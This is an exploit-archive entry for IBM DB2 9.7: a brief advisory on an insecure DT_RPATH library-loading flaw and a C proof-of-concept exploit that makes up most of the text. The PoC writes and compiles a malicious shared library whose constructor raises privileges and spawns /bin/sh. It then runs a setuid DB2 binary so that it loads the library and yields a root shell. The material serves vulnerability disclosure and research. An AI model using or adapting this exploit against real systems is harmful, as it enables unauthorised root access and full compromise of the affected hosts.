IBM DB2 - 'DT_RPATH' Insecure Library Loading Arbitrary Code Execution

// source: https://www.securityfocus.com/bid/48514/info

IBM DB2 is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue to gain elevated privileges and execute arbitrary code with root privileges. Successfully exploiting this issue will result in a complete compromise of the affected system.

IBM DB2 9.7 is vulnerable; other versions may also be affected. 

/*
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(c) Tim Brown, 2011
<mailto:[email protected]>
<http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>

PoC exploit for IBM DB2 DT_RPATH privesc.
*/

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv) {
	FILE *badlibkbbsrchandle;
	int pwnedflag;
	printf("PoC exploit for IBM DB2 DT_RPATH privesc.\r\n");
	printf("(c) Tim Brown, 2011\r\n");
	printf("<mailto:[email protected]>\r\n");
	printf("<http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>\r\n");
	printf("Constructing bad_libkbb.so...\r\n");
	badlibkbbsrchandle = fopen("bad_libkbb.c", "w");
	fprintf(badlibkbbsrchandle, "#include <stdio.h>\r\n");
	fprintf(badlibkbbsrchandle, "#include <unistd.h>\r\n");
	fprintf(badlibkbbsrchandle, "#include <stdlib.h>\r\n");
	fprintf(badlibkbbsrchandle, "\r\n");
	fprintf(badlibkbbsrchandle, "void __attribute__ ((constructor)) bad_libkbb(void) {\r\n");
	fprintf(badlibkbbsrchandle, "	printf(\"Have a root shell...\\r\\n\");\r\n");
	fprintf(badlibkbbsrchandle, "	setuid(geteuid());\r\n");
	fprintf(badlibkbbsrchandle, "	system(\"/usr/bin/id\");\r\n");
	fprintf(badlibkbbsrchandle, "	system(\"/bin/sh\");\r\n");
	fprintf(badlibkbbsrchandle, "	exit(0);\r\n");
	fprintf(badlibkbbsrchandle, "}\r\n");
	fclose(badlibkbbsrchandle);
	system("gcc -shared -fPIC -o libkbb.so bad_libkbb.c");
	system("/opt/ibm/db2/V9.7/itma/tmaitm6/lx8266/bin/kbbacf1");
	exit(0);
}